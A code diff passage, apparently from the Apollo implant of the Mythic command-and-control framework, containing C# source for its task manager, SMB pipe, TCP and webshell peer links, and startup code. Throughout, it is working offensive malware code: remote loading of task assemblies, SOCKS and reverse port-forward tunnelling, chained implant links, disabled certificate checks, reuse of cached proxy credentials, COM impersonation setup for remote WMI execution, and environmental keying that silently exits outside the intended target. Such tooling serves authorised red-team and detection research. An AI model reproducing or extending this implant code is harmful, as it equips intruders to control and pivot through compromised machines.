AddTaskResponseToQueue(new MythicTaskResponse()
{
UserOutput = $"Unexpected error during create and execute: {ex.Message}\n{ex.StackTrace}",
TaskID = result.ID,
Completed = true,
Status = "error"
});
}
}
}
else
{
Thread.Sleep(100);
}
}
};
_mainworker = new Task(_taskConsumerAction);
_mainworker.Start();
}
private void InitializeTaskLibrary()
{
// Annoying note - if there's an assembly in the Tasks DLL that isn't in the Apollo
// reference assemblies, then you'll run into loading errors.
_tasksAsm = Assembly.Load("Tasks, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null");
if (_tasksAsm == null)
{
throw new Exception("Could not find loaded tasks assembly.");
}
foreach(Type t in _tasksAsm.GetTypes())
{
if (t.FullName.StartsWith("Tasks.") &&
t.IsPublic &&
t.IsClass &&
t.IsVisible)
{
string commandName = t.FullName.Split('.')[1];
_loadedTaskTypes[commandName] = t;
}
}
}
public bool LoadTaskModule(byte[] taskAsm, string[] commands)
{
bool bRet = false;
Assembly taskingAsm = Assembly.Load(taskAsm);
Dictionary<string, Type> foundCmds = new Dictionary<string, Type>();
foreach(Type t in taskingAsm.GetExportedTypes())
{
if (commands.Contains(t.Name))
{
foundCmds[t.Name] = t;
}
}
if (foundCmds.Keys.Count != commands.Length)
{
bRet = false;
}
else
{
foreach(string k in foundCmds.Keys)
{
_loadedTaskTypes[k] = foundCmds[k];
}
bRet = true;
}
return bRet;
}
private void OnTaskErrorOrCancel(Tasking t, System.Threading.Tasks.Task taskObj)
{
string aggregateError = "";
if (taskObj.Exception != null)
{
foreach (Exception e in taskObj.Exception.InnerExceptions)
{
aggregateError += $"Unhandled exception: {e}\n\n";
}
} else if (taskObj.IsCanceled)
{
aggregateError = "Task cancelled.";
}
else
{
aggregateError = "Unhandled and unknown error occured.";
}
var msg = t.CreateTaskResponse(aggregateError, true, "error");
AddTaskResponseToQueue(msg);
}
public void AddTaskResponseToQueue(MythicTaskResponse message)
{
TaskResponseList.Add(message);
}
public void AddDelegateMessageToQueue(DelegateMessage delegateMessage)
{
DelegateMessages.Add(delegateMessage);
}
public void AddSocksDatagramToQueue(MessageDirection direction, SocksDatagram dg)
{
SocksDatagramQueue[direction].Enqueue(dg);
}
public void AddRpfwdDatagramToQueue(MessageDirection direction, SocksDatagram dg)
{
RpfwdDatagramQueue[direction].Enqueue(dg);
}
public bool ProcessMessageResponse(MessageResponse resp)
{
if (resp.SocksDatagrams != null)
{
new Thread(() =>
{
foreach(SocksDatagram dg in resp.SocksDatagrams)
{
_agent.GetSocksManager().Route(dg);
}
}).Start();
}
if (resp.RpfwdDatagrams != null)
{
new Thread(() =>
{
foreach (SocksDatagram dg in resp.RpfwdDatagrams)
{
_agent.GetRpfwdManager().Route(dg);
}
}).Start();
}
if (resp.Tasks != null && resp.Tasks.Length > 0)
{
new Thread(() =>
{
foreach(MythicTask t in resp.Tasks)
{
TaskQueue.Enqueue(t);
}
}).Start();
}
if (resp.Responses != null && resp.Responses.Length > 0)
{
foreach(MythicTaskStatus t in resp.Responses)
{
if (_agent.GetFileManager().GetPendingTransfers().Contains(t.ApolloTrackerUUID))
{
_agent.GetFileManager().ProcessResponse(t);
}
}
}
if (resp.Delegates != null && resp.Delegates.Length > 0)
{
foreach(DelegateMessage d in resp.Delegates)
{
_agent.GetPeerManager().Route(d);
}
}
return true;
}
public bool CreateTaskingMessage(OnResponse<TaskingMessage> onResponse)
{
// We should pop messages from the task manager and stuff them into
// this message here.
//List<TaskResponse> responses = new List<TaskResponse>();
//List<DelegateMessage> delegates = new List<DelegateMessage>();
List<SocksDatagram> dgs = new List<SocksDatagram>();
List<SocksDatagram> rpfwdDgs = new List<SocksDatagram>();
List<EdgeNode> edgs = new List<EdgeNode>();
//while(TaskResponseQueue.TryDequeue(out TaskResponse res))
//{
// responses.Add(res);
//}
//while(DelegateMessages.TryDequeue(out var res))
//{
// delegates.Add(res);
//}
while(SocksDatagramQueue[MessageDirection.ToMythic].TryDequeue(out var dg))
{
dgs.Add(dg);
}
while (RpfwdDatagramQueue[MessageDirection.ToMythic].TryDequeue(out var dg))
{
DebugHelp.DebugWriteLine($"got rpfwd datagram to go to mythic: {dg.ServerID}");
rpfwdDgs.Add(dg);
}
TaskingMessage msg = new TaskingMessage()
{
Action = MessageAction.GetTasking.ToString(),
TaskingSize = -1,
Delegates = DelegateMessages.Flush(),
Responses = TaskResponseList.Flush(),
Socks = dgs.ToArray(),
Rpfwd = rpfwdDgs.ToArray(),
Edges = edgs.ToArray()
};
return onResponse(msg);
}
public string[] GetExecutingTaskIds()
{
return _runningTasks.Keys.ToArray();
}
public bool CancelTask(string taskId)
{
if (_runningTasks.TryGetValue(taskId, out Tasking t))
{
try
{
t.Kill();
return true;
} catch
{
return false;
}
} else
{
return false;
}
}
}
}

View File

@@ -0,0 +1,253 @@
using ApolloInterop.Classes;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.MythicStructs;
using System;
using System.IO.Pipes;
using System.Linq;
using System.Text;
using AI = ApolloInterop;
using AS = ApolloInterop.Structs.ApolloStructs;
using TTasks = System.Threading.Tasks;
using ApolloInterop.Classes.Core;
using ApolloInterop.Structs.ApolloStructs;
using ApolloInterop.Utils;
using ApolloInterop.Constants;
namespace Apollo.Peers.SMB
{
public class SMBPeer : AI.Classes.P2P.Peer
{
private AsyncNamedPipeClient _pipeClient = null;
private PipeStream _pipe = null;
private Action<object> _sendAction;
private TTasks.Task _sendTask;
private UInt32 _currentMessageSize = 0;
private UInt32 _currentMessageChunkNum = 0;
private UInt32 _currentMessageTotalChunks = 0;
private bool _currentMessageReadAllMetadata = false;
private string _currentMessageID = Guid.NewGuid().ToString();
private Byte[] _partialData = [];
private int chunkSize = IPC.SEND_SIZE;
public SMBPeer(IAgent agent, PeerInformation info) : base(agent, info)
{
C2ProfileName = "smb";
_pipeClient = new AsyncNamedPipeClient(info.Hostname, info.C2Profile.Parameters.PipeName);
_pipeClient.ConnectionEstablished += OnConnect;
_pipeClient.MessageReceived += OnMessageReceived;
_pipeClient.Disconnect += OnDisconnect;
_sendAction = (object p) =>
{
PipeStream ps = (PipeStream)p;
while (ps.IsConnected && !_cts.IsCancellationRequested)
{
// Check queue before waiting to avoid race condition
if (_senderQueue.IsEmpty)
{
_senderEvent.WaitOne();
}
while (!_senderQueue.IsEmpty && !_cts.IsCancellationRequested && ps.IsConnected)
{
if (!_cts.IsCancellationRequested && ps.IsConnected && _senderQueue.TryDequeue(out byte[] result))
{
UInt32 totalChunksToSend = (UInt32)(result.Length / chunkSize) + 1;
DebugHelp.DebugWriteLine($"have {totalChunksToSend} chunks to send out");
byte[] totalChunkBytes = BitConverter.GetBytes(totalChunksToSend);
Array.Reverse(totalChunkBytes);
for (UInt32 currentChunk = 0; currentChunk < totalChunksToSend; currentChunk++)
{
byte[] chunkData;
if ((currentChunk + 1) * chunkSize > result.Length)
{
chunkData = new byte[result.Length - (currentChunk * chunkSize)];
}
else
{
chunkData = new byte[chunkSize];
}
Array.Copy(result, currentChunk * chunkSize, chunkData, 0, chunkData.Length);
byte[] sizeBytes = BitConverter.GetBytes((UInt32)chunkData.Length + 8);
Array.Reverse(sizeBytes);
byte[] currentChunkBytes = BitConverter.GetBytes(currentChunk);
Array.Reverse(currentChunkBytes);
DebugHelp.DebugWriteLine($"sending chunk {currentChunk}/{totalChunksToSend} with size {chunkData.Length + 8}");
ps.BeginWrite(sizeBytes, 0, sizeBytes.Length, OnAsyncMessageSent, p);
ps.BeginWrite(totalChunkBytes, 0, totalChunkBytes.Length, OnAsyncMessageSent, p);
ps.BeginWrite(currentChunkBytes, 0, currentChunkBytes.Length, OnAsyncMessageSent, p);
ps.BeginWrite(chunkData, 0, chunkData.Length, OnAsyncMessageSent, p);
}
DebugHelp.DebugWriteLine($"finished sending data from _senderQueue");
//ps.BeginWrite(result, 0, result.Length, OnAsyncMessageSent, p);
}
}
}
};
}
public void OnAsyncMessageSent(IAsyncResult result)
{
PipeStream pipe = (PipeStream)result.AsyncState;
// Potentially delete this since theoretically the sender Task does everything
if (pipe.IsConnected && !_cts.IsCancellationRequested)
{
try {
pipe.EndWrite(result);
}catch(Exception ex){
DebugHelp.DebugWriteLine($"failed to write to pipe: {ex}");
_cts.Cancel();
}
}
}
public override bool Connected()
{
return _pipe.IsConnected;
}
public override bool Finished()
{
return _previouslyConnected && !_pipe.IsConnected;
}
public void OnConnect(object sender, NamedPipeMessageArgs args)
{
_pipe = args.Pipe;
OnConnectionEstablished(sender, args);
_sendTask = new TTasks.Task(_sendAction, args.Pipe);
_sendTask.Start();
_previouslyConnected = true;
}
public void OnDisconnect(object sender, NamedPipeMessageArgs args)
{
_cts.Cancel();
args.Pipe.Close();
_senderEvent.Set();
if(_sendTask != null){
_sendTask.Wait();
}
base.OnDisconnect(this, args);
}
public void OnMessageReceived(object sender, NamedPipeMessageArgs args)
{
Byte[] sData = args.Data.Data.Take(args.Data.DataLength).ToArray();
while (sData.Length > 0)
{
if (_currentMessageSize == 0)
{
// This means we're looking at the start of a new message
if (sData.Length < 4)
{
// we didn't even get enough for a size
}
else
{
Byte[] messageSizeBytes = sData.Take(4).ToArray();
sData = sData.Skip(4).ToArray();
Array.Reverse(messageSizeBytes);
_currentMessageSize = BitConverter.ToUInt32(messageSizeBytes, 0) - 8;
continue;
}
}
if (_currentMessageTotalChunks == 0)
{
// This means we're looking at the start of a new message
if (sData.Length < 4)
{
// we didn't even get enough for a size
}
else
{
Byte[] messageSizeBytes = sData.Take(4).ToArray();
sData = sData.Skip(4).ToArray();
Array.Reverse(messageSizeBytes);
_currentMessageTotalChunks = BitConverter.ToUInt32(messageSizeBytes, 0);
continue;
}
}
if (_currentMessageChunkNum == 0 && !_currentMessageReadAllMetadata)
{
// This means we're looking at the start of a new message
if (sData.Length < 4)
{
// we didn't even get enough for a size
}
else
{
Byte[] messageSizeBytes = sData.Take(4).ToArray();
sData = sData.Skip(4).ToArray();
Array.Reverse(messageSizeBytes); // reverse the bytes so they're in big endian?
_currentMessageChunkNum = BitConverter.ToUInt32(messageSizeBytes, 0) + 1;
_currentMessageReadAllMetadata = true;
continue;
}
}
// try to read up to the remaining number of bytes
if (_partialData.Length + sData.Length > _currentMessageSize)
{
// we potentially have this message and the next data in the pipeline
byte[] nextData = sData.Take((int)_currentMessageSize - _partialData.Length).ToArray();
_partialData = [.. _partialData, .. nextData];
sData = sData.Skip(nextData.Length).ToArray();
}
else
{
// we don't enough enough data to max out the current message size, so take it all
_partialData = [.. _partialData, .. sData];
sData = sData.Skip(sData.Length).ToArray();
}
if (_partialData.Length == _currentMessageSize)
{
DebugHelp.DebugWriteLine($"got chunk {_currentMessageChunkNum}/{_currentMessageTotalChunks} with size {_currentMessageSize + 8}");
UnwrapMessage();
_currentMessageSize = 0;
_currentMessageChunkNum = 0;
_currentMessageTotalChunks = 0;
_currentMessageReadAllMetadata = false;
}
}
}
private void UnwrapMessage()
{
AS.IPCChunkedData chunkedData = new(id: _currentMessageID, chunkNum: (int)_currentMessageChunkNum, totalChunks: (int)_currentMessageTotalChunks, data: _partialData.Take(_partialData.Length).ToArray());
_partialData = [];
lock (_messageOrganizer)
{
if (!_messageOrganizer.ContainsKey(chunkedData.ID))
{
_messageOrganizer[chunkedData.ID] = new ChunkedMessageStore<AS.IPCChunkedData>();
_messageOrganizer[chunkedData.ID].MessageComplete += DeserializeToReceiver;
}
}
_messageOrganizer[chunkedData.ID].AddMessage(chunkedData);
if (_currentMessageChunkNum == _currentMessageTotalChunks)
{
_currentMessageID = Guid.NewGuid().ToString();
}
}
public override bool Start()
{
return _pipeClient.Connect(5000);
}
public override void Stop()
{
if(_pipe != null){
_pipe.Close();
}
if(_sendTask != null){
_sendTask.Wait();
}
}
}
}

View File

@@ -0,0 +1,247 @@
using ApolloInterop.Classes;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.MythicStructs;
using System;
using System.Linq;
using System.Text;
using AI = ApolloInterop;
using AS = ApolloInterop.Structs.ApolloStructs;
using TTasks = System.Threading.Tasks;
using System.Net.Sockets;
using ApolloInterop.Classes.Api;
using ApolloInterop.Classes.Core;
using System.Xml.Linq;
using ApolloInterop.Utils;
using ApolloInterop.Structs.ApolloStructs;
using System.Net;
namespace Apollo.Peers.TCP
{
public class TCPPeer : AI.Classes.P2P.Peer
{
private AsyncTcpClient _tcpClient = null;
private Action<object> _sendAction;
private TTasks.Task _sendTask;
private bool _connected = false;
private int chunkSize = AI.Constants.IPC.SEND_SIZE;
private UInt32 _currentMessageSize = 0;
private UInt32 _currentMessageChunkNum = 0;
private UInt32 _currentMessageTotalChunks = 0;
private bool _currentMessageReadAllMetadata = false;
private string _currentMessageID = Guid.NewGuid().ToString();
private Byte[] _partialData = [];
//private IntPtr _socketHandle = IntPtr.Zero;
private Socket _client;
private delegate void CloseHandle(IntPtr handle);
//private CloseHandle _pCloseHandle;
public TCPPeer(IAgent agent, PeerInformation info) : base(agent, info)
{
C2ProfileName = "tcp";
_tcpClient = new AsyncTcpClient(info.Hostname, info.C2Profile.Parameters.Port);
_tcpClient.ConnectionEstablished += OnConnect;
_tcpClient.MessageReceived += OnMessageReceived;
_tcpClient.Disconnect += OnDisconnect;
//_pCloseHandle = _agent.GetApi().GetLibraryFunction<CloseHandle>(Library.KERNEL32, "CloseHandle");
_sendAction = (object p) =>
{
TcpClient c = (TcpClient)p;
while (c.Connected && !_cts.IsCancellationRequested)
{
// Check queue before waiting to avoid race condition
if (_senderQueue.IsEmpty)
{
_senderEvent.WaitOne();
}
while(!_senderQueue.IsEmpty && !_cts.IsCancellationRequested && c.Connected)
{
if (!_cts.IsCancellationRequested && c.Connected && _senderQueue.TryDequeue(out byte[] result))
{
UInt32 totalChunksToSend = (UInt32)(result.Length / chunkSize) + 1;
DebugHelp.DebugWriteLine($"have {totalChunksToSend} chunks to send out");
byte[] totalChunkBytes = BitConverter.GetBytes(totalChunksToSend);
Array.Reverse(totalChunkBytes);
for(UInt32 currentChunk = 0; currentChunk < totalChunksToSend; currentChunk++)
{
byte[] chunkData;
if ( (currentChunk + 1) * chunkSize > result.Length)
{
chunkData = new byte[result.Length - (currentChunk * chunkSize)];
} else
{
chunkData = new byte[chunkSize];
}
Array.Copy(result, currentChunk * chunkSize, chunkData, 0, chunkData.Length);
byte[] sizeBytes = BitConverter.GetBytes((UInt32)chunkData.Length + 8);
Array.Reverse(sizeBytes);
byte[] currentChunkBytes = BitConverter.GetBytes(currentChunk);
Array.Reverse(currentChunkBytes);
DebugHelp.DebugWriteLine($"sending chunk {currentChunk}/{totalChunksToSend} with size {chunkData.Length + 8}");
c.GetStream().BeginWrite(sizeBytes, 0, sizeBytes.Length, OnAsyncMessageSent, p);
c.GetStream().BeginWrite(totalChunkBytes, 0, totalChunkBytes.Length, OnAsyncMessageSent, p);
c.GetStream().BeginWrite(currentChunkBytes, 0, currentChunkBytes.Length, OnAsyncMessageSent, p);
c.GetStream().BeginWrite(chunkData, 0, chunkData.Length, OnAsyncMessageSent, p);
}
DebugHelp.DebugWriteLine($"finished sending data from _senderQueue");
}
}
}
};
}
public void OnAsyncMessageSent(IAsyncResult result)
{
TcpClient client = (TcpClient)result.AsyncState;
if (client.Connected && !_cts.IsCancellationRequested)
{
client.GetStream().EndWrite(result);
}
}
public override bool Connected()
{
return _connected;
}
public override bool Finished()
{
return _previouslyConnected && !_connected;
}
public void OnConnect(object sender, TcpMessageEventArgs args)
{
args.State = this;
OnConnectionEstablished(sender, args);
_sendTask = new TTasks.Task(_sendAction, args.Client);
_sendTask.Start();
_connected = true;
_previouslyConnected = true;
_client = args.Client.Client;
}
public void OnDisconnect(object sender, TcpMessageEventArgs args)
{
_cts.Cancel();
args.Client.Close();
_senderEvent.Set();
if(_sendTask != null){
_sendTask.Wait();
}
_connected = false;
base.OnDisconnect(this, args);
}
public void OnMessageReceived(object sender, TcpMessageEventArgs args)
{
Byte[] sData = args.Data.Data.Take(args.Data.DataLength).ToArray();
while (sData.Length > 0)
{
if (_currentMessageSize == 0)
{
// This means we're looking at the start of a new message
if (sData.Length < 4)
{
// we didn't even get enough for a size
} else
{
Byte[] messageSizeBytes = sData.Take(4).ToArray();
sData = sData.Skip(4).ToArray();
Array.Reverse(messageSizeBytes); // reverse the bytes so they're in big endian?
_currentMessageSize = BitConverter.ToUInt32(messageSizeBytes, 0) - 8;
continue;
}
}
if (_currentMessageTotalChunks == 0)
{
// This means we're looking at the start of a new message
if (sData.Length < 4)
{
// we didn't even get enough for a size
}
else
{
Byte[] messageSizeBytes = sData.Take(4).ToArray();
sData = sData.Skip(4).ToArray();
Array.Reverse(messageSizeBytes); // reverse the bytes so they're in big endian?
_currentMessageTotalChunks = BitConverter.ToUInt32(messageSizeBytes, 0);
continue;
}
}
if(_currentMessageChunkNum == 0 && !_currentMessageReadAllMetadata)
{
// This means we're looking at the start of a new message
if (sData.Length < 4)
{
// we didn't even get enough for a size
}
else
{
Byte[] messageSizeBytes = sData.Take(4).ToArray();
sData = sData.Skip(4).ToArray();
Array.Reverse(messageSizeBytes); // reverse the bytes so they're in big endian?
_currentMessageChunkNum = BitConverter.ToUInt32(messageSizeBytes, 0) + 1;
_currentMessageReadAllMetadata = true;
continue;
}
}
// try to read up to the remaining number of bytes
if (_partialData.Length + sData.Length > _currentMessageSize)
{
// we potentially have this message and the next data in the pipeline
byte[] nextData = sData.Take((int)_currentMessageSize - _partialData.Length).ToArray();
_partialData = [.. _partialData, .. nextData];
sData = sData.Skip(nextData.Length).ToArray();
} else
{
// we don't enough enough data to max out the current message size, so take it all
_partialData = [.. _partialData, .. sData];
sData = sData.Skip(sData.Length).ToArray();
}
if (_partialData.Length == _currentMessageSize)
{
DebugHelp.DebugWriteLine($"got chunk {_currentMessageChunkNum}/{_currentMessageTotalChunks} with size {_currentMessageSize + 8}");
UnwrapMessage();
_currentMessageSize = 0;
_currentMessageChunkNum = 0;
_currentMessageTotalChunks = 0;
_currentMessageReadAllMetadata = false;
}
}
}
private void UnwrapMessage()
{
AS.IPCChunkedData chunkedData = new (id: _currentMessageID, chunkNum: (int)_currentMessageChunkNum, totalChunks: (int)_currentMessageTotalChunks, data: _partialData.Take(_partialData.Length).ToArray());
_partialData = [];
lock (_messageOrganizer)
{
if (!_messageOrganizer.ContainsKey(chunkedData.ID))
{
_messageOrganizer[chunkedData.ID] = new ChunkedMessageStore<AS.IPCChunkedData>();
_messageOrganizer[chunkedData.ID].MessageComplete += DeserializeToReceiver;
}
}
_messageOrganizer[chunkedData.ID].AddMessage(chunkedData);
if (_currentMessageChunkNum == _currentMessageTotalChunks)
{
_currentMessageID = Guid.NewGuid().ToString();
}
}
public override bool Start()
{
return _tcpClient.Connect();
}
public override void Stop()
{
_cts.Cancel(); // should then hit the OnDisconnect which does all the cleanup
_client?.Close();
}
}
}

View File

@@ -0,0 +1,207 @@
using ApolloInterop.Classes;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.MythicStructs;
using System;
using System.IO.Pipes;
using System.Linq;
using System.Text;
using AI = ApolloInterop;
using AS = ApolloInterop.Structs.ApolloStructs;
using TTasks = System.Threading.Tasks;
using ApolloInterop.Classes.Core;
using ApolloInterop.Structs.ApolloStructs;
using Tasks;
using ApolloInterop.Utils;
using System.Net;
using System.IO;
using System.Security.Policy;
using ApolloInterop.Types.Delegates;
namespace Apollo.Peers.Webshell
{
public class WebshellPeer : AI.Classes.P2P.Peer
{
private Action _sendAction;
private TTasks.Task _sendTask;
private string _remote_url;
private string _remote_query_param;
private string _remote_cookie_name;
private string _remote_cookie_value;
private string _remote_agent_id;
private string _remote_user_agent;
public WebshellPeer(IAgent agent, PeerInformation info) : base(agent, info)
{
C2ProfileName = "webshell";
_remote_agent_id = info.CallbackUUID;
_mythicUUID = info.CallbackUUID;
_remote_url = info.C2Profile.Parameters.WebshellURL;
_remote_query_param = info.C2Profile.Parameters.WebshellQueryParam;
_remote_cookie_name = info.C2Profile.Parameters.WebshellCookieName;
_remote_cookie_value = info.C2Profile.Parameters.WebshellCookieValue;
_remote_user_agent = info.C2Profile.Parameters.WebshellUserAgent;
_sendAction = () =>
{
_mythicUUID = info.CallbackUUID;
OnUUIDNegotiated(this, new UUIDEventArgs(info.CallbackUUID));
// Disable certificate validation on web requests
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
while (!_cts.IsCancellationRequested)
{
_senderEvent.WaitOne();
if (!_cts.IsCancellationRequested && _senderQueue.TryDequeue(out byte[] result))
{
string data = Encoding.UTF8.GetString(result);
//DebugHelp.DebugWriteLine($"Got data to send: {data}, _sendAction in WebshellPeer, to {_mythicUUID} from {_uuid}");
Send(data);
}
}
};
}
private void Send(string data)
{
WebClient webClient = new WebClient();
// Use Default Proxy and Cached Credentials for Internet Access
webClient.Proxy = WebRequest.GetSystemWebProxy();
webClient.Proxy.Credentials = CredentialCache.DefaultCredentials;
webClient.Headers.Add("User-Agent", _remote_user_agent);
//webClient.BaseAddress = _remote_url;
webClient.Headers.Add(HttpRequestHeader.Cookie, $"{_remote_cookie_name}={_remote_cookie_value}");
if (data.Length > 4000)
{
// do a POST
try
{
//DebugHelp.DebugWriteLine($"Sending POST to {_remote_url}");
var response = webClient.UploadString(_remote_url, data);
Recv(response, "");
}
catch (Exception ex)
{
Recv("", ex.Message);
}
} else
{
// do a GET
string QueryURL = _remote_url;
if (QueryURL.Contains("?"))
{
QueryURL += "&" + _remote_query_param + "=" + Uri.EscapeDataString(data);
} else
{
QueryURL += "?" + _remote_query_param + "=" + Uri.EscapeDataString(data);
}
try
{
//DebugHelp.DebugWriteLine($"Sending GET to {QueryURL}");
using (var stream = webClient.OpenRead(QueryURL))
{
using (var streamReader = new StreamReader(stream))
{
var result = streamReader.ReadToEnd();
Recv(result, "");
}
}
}
catch(Exception ex)
{
Recv("", ex.Message);
}
}
}
private void Recv(string data, string error_message)
{
//DebugHelp.DebugWriteLine($"got response: {data} - {error_message}");
if (error_message.Length > 0)
{
return;
}
if (data.StartsWith("<span id=\"task_response\">"))
{
string response = data.Replace("<span id=\"task_response\">", "").Replace("</span>", "");
if (response.Length == 0)
{
return;
}
byte[] raw = Convert.FromBase64String(response);
byte[] mythic_uuid_bytes = Encoding.UTF8.GetBytes(_mythicUUID);
byte[] final_bytes = new byte[raw.Length + mythic_uuid_bytes.Length];
Array.Copy(mythic_uuid_bytes, final_bytes, mythic_uuid_bytes.Length);
Array.Copy(raw, 0, final_bytes, mythic_uuid_bytes.Length, raw.Length);
string final_response = Convert.ToBase64String(final_bytes);
//DebugHelp.DebugWriteLine($"got final response: {final_response}");
_agent.GetTaskManager().AddDelegateMessageToQueue(new DelegateMessage()
{
MythicUUID = _mythicUUID,
UUID = _uuid,
C2Profile = C2ProfileName,
Message = final_response
});
}
}
public override bool Connected()
{
//DebugHelp.DebugWriteLine($"checking if Connected()");
return true;
}
public override bool Finished()
{
//DebugHelp.DebugWriteLine($"checking if Finished()");
return false;
}
public override bool Start()
{
//DebugHelp.DebugWriteLine($"Start()");
WebClient webClient = new WebClient();
// Use Default Proxy and Cached Credentials for Internet Access
webClient.Proxy = WebRequest.GetSystemWebProxy();
webClient.Proxy.Credentials = CredentialCache.DefaultCredentials;
webClient.Headers.Add("User-Agent", _remote_user_agent);
//webClient.BaseAddress = _remote_url;
webClient.Headers.Add(HttpRequestHeader.Cookie, $"{_remote_cookie_name}={_remote_cookie_value}");
string QueryURL = _remote_url;
if (QueryURL.Contains("?"))
{
QueryURL += "&" + _remote_query_param + "=";
} else
{
QueryURL += "?" + _remote_query_param + "=";
}
try
{
//DebugHelp.DebugWriteLine($"Sending GET to {QueryURL}");
using (var stream = webClient.OpenRead(QueryURL))
{
using (var streamReader = new StreamReader(stream))
{
streamReader.ReadToEnd();
}
}
_sendTask = new TTasks.Task(_sendAction);
_sendTask.Start();
return true;
}
catch(Exception ex)
{
throw ex;
}
}
public override void Stop()
{
//DebugHelp.DebugWriteLine($"Stop()");
_cts.Cancel();
_senderEvent.Set();
if(_sendTask != null){
_sendTask.Wait();
}
OnDisconnect(this, new EventArgs());
}
}
}

View File

@@ -0,0 +1,313 @@
using System;
using ApolloInterop.Serializers;
using System.Collections.Generic;
using ApolloInterop.Classes;
using ApolloInterop.Interfaces;
using System.IO.Pipes;
using ApolloInterop.Structs.ApolloStructs;
using System.Text;
using System.Threading;
using System.Linq;
using System.Collections.Concurrent;
using ApolloInterop.Classes.Core;
using ApolloInterop.Classes.Events;
using ApolloInterop.Enums.ApolloEnums;
using System.Runtime.InteropServices;
using ApolloInterop.Utils;
using System.Security.Cryptography;
using Microsoft.Win32;
namespace Apollo
{
class Program
{
private static JsonSerializer _jsonSerializer = new JsonSerializer();
private static AutoResetEvent _receiverEvent = new AutoResetEvent(false);
private static ConcurrentQueue<IMythicMessage> _receiverQueue = new ConcurrentQueue<IMythicMessage>();
private static ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>> MessageStore = new ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>>();
private static AutoResetEvent _connected = new AutoResetEvent(false);
private static ConcurrentQueue<byte[]> _senderQueue = new ConcurrentQueue<byte[]>();
private static Action<object> _sendAction;
private static CancellationTokenSource _cancellationToken = new CancellationTokenSource();
private static AutoResetEvent _senderEvent = new AutoResetEvent(false);
private static AutoResetEvent _complete = new AutoResetEvent(false);
private static bool _completed;
private static Action<object> _flushMessages;
public enum RPC_AUTHN_LEVEL
{
PKT_PRIVACY = 6
}
public enum RPC_IMP_LEVEL
{
IMPERSONATE = 3
}
public enum EOLE_AUTHENTICATION_CAPABILITIES
{
DYNAMIC_CLOAKING = 0x40
}
[DllImport("ole32.dll")]
static extern int CoInitializeSecurity(IntPtr pSecDesc, int cAuthSvc, IntPtr asAuthSvc, IntPtr pReserved1, RPC_AUTHN_LEVEL dwAuthnLevel, RPC_IMP_LEVEL dwImpLevel, IntPtr pAuthList, EOLE_AUTHENTICATION_CAPABILITIES dwCapabilities, IntPtr pReserved3);
// we need this to happen first so we can use impersonation tokens with wmiexecute
static readonly int _security_init = CoInitializeSecurity(IntPtr.Zero, -1, IntPtr.Zero, IntPtr.Zero, RPC_AUTHN_LEVEL.PKT_PRIVACY, RPC_IMP_LEVEL.IMPERSONATE, IntPtr.Zero, EOLE_AUTHENTICATION_CAPABILITIES.DYNAMIC_CLOAKING, IntPtr.Zero);
public static void Main(string[] args)
{
if (_security_init != 0)
{
DebugHelp.DebugWriteLine($"CoInitializeSecurity status: {_security_init}");
}
// Check environmental keying before starting agent
if (!CheckEnvironmentalKeying())
{
// Exit silently if keying check fails
return;
}
Agent.Apollo ap = new Agent.Apollo(Config.PayloadUUID);
ap.Start();
}
private static bool CheckEnvironmentalKeying()
{
// If keying is not enabled, always return true
if (!Config.KeyingEnabled)
{
return true;
}
try
{
// Handle Registry keying separately (3 = Registry)
if (Config.KeyingMethod == 3)
{
return CheckRegistryKeying();
}
string currentValue = "";
// Get the appropriate value based on keying method
// 1 = Hostname, 2 = Domain
if (Config.KeyingMethod == 1)
{
currentValue = Environment.MachineName;
}
else if (Config.KeyingMethod == 2)
{
currentValue = Environment.UserDomainName;
}
else
{
// Unknown keying method, fail safe and exit
return false;
}
// Convert to uppercase before hashing (same as build time)
currentValue = currentValue.ToUpper();
// For hostname (1), just check the single value
if (Config.KeyingMethod == 1)
{
string currentValueHash = ComputeSHA256Hash(currentValue);
if (currentValueHash.Equals(Config.KeyingValueHash, StringComparison.OrdinalIgnoreCase))
{
return true;
}
}
// For domain (2), check full domain and all parts split by '.'
else if (Config.KeyingMethod == 2)
{
// First try the full domain
string fullDomainHash = ComputeSHA256Hash(currentValue);
if (fullDomainHash.Equals(Config.KeyingValueHash, StringComparison.OrdinalIgnoreCase))
{
return true;
}
// Then try each part of the domain split by '.'
string[] domainParts = currentValue.Split('.');
foreach (string part in domainParts)
{
if (!string.IsNullOrEmpty(part))
{
string partHash = ComputeSHA256Hash(part);
if (partHash.Equals(Config.KeyingValueHash, StringComparison.OrdinalIgnoreCase))
{
return true;
}
}
}
}
// Keying check failed
return false;
}
catch
{
// If any error occurs during keying check, fail safe and exit
return false;
}
}
private static bool CheckRegistryKeying()
{
try
{
// Parse the registry path
string regPath = Config.RegistryPath;
if (string.IsNullOrEmpty(regPath))
{
return false;
}
// Split registry path into hive, subkey, and value name
// Expected format: HKLM\SOFTWARE\Path\To\Key\ValueName
string[] pathParts = regPath.Split('\\');
if (pathParts.Length < 2)
{
return false;
}
// Get the registry hive
RegistryKey hive = GetRegistryHive(pathParts[0]);
if (hive == null)
{
return false;
}
// Get the value name (last part)
string valueName = pathParts[pathParts.Length - 1];
// Get the subkey path (everything between hive and value name)
string subKeyPath = string.Join("\\", pathParts, 1, pathParts.Length - 2);
// Open the registry key
using (RegistryKey key = hive.OpenSubKey(subKeyPath))
{
if (key == null)
{
// Registry key doesn't exist
return false;
}
// Get the registry value
object regValue = key.GetValue(valueName);
if (regValue == null)
{
// Registry value doesn't exist
return false;
}
string regValueString = regValue.ToString();
// Check based on comparison mode: 1 = Matches, 2 = Contains
if (Config.RegistryComparison == 1)
{
// Hash-based secure matching
string regValueHash = ComputeSHA256Hash(regValueString.ToUpper());
return regValueHash.Equals(Config.KeyingValueHash, StringComparison.OrdinalIgnoreCase);
}
else if (Config.RegistryComparison == 2)
{
// Plaintext contains matching (weak security)
return regValueString.IndexOf(Config.RegistryValue, StringComparison.OrdinalIgnoreCase) >= 0;
}
}
return false;
}
catch
{
// If any error occurs, fail safe and exit
return false;
}
}
private static RegistryKey GetRegistryHive(string hiveName)
{
switch (hiveName.ToUpper())
{
case "HKLM":
case "HKEY_LOCAL_MACHINE":
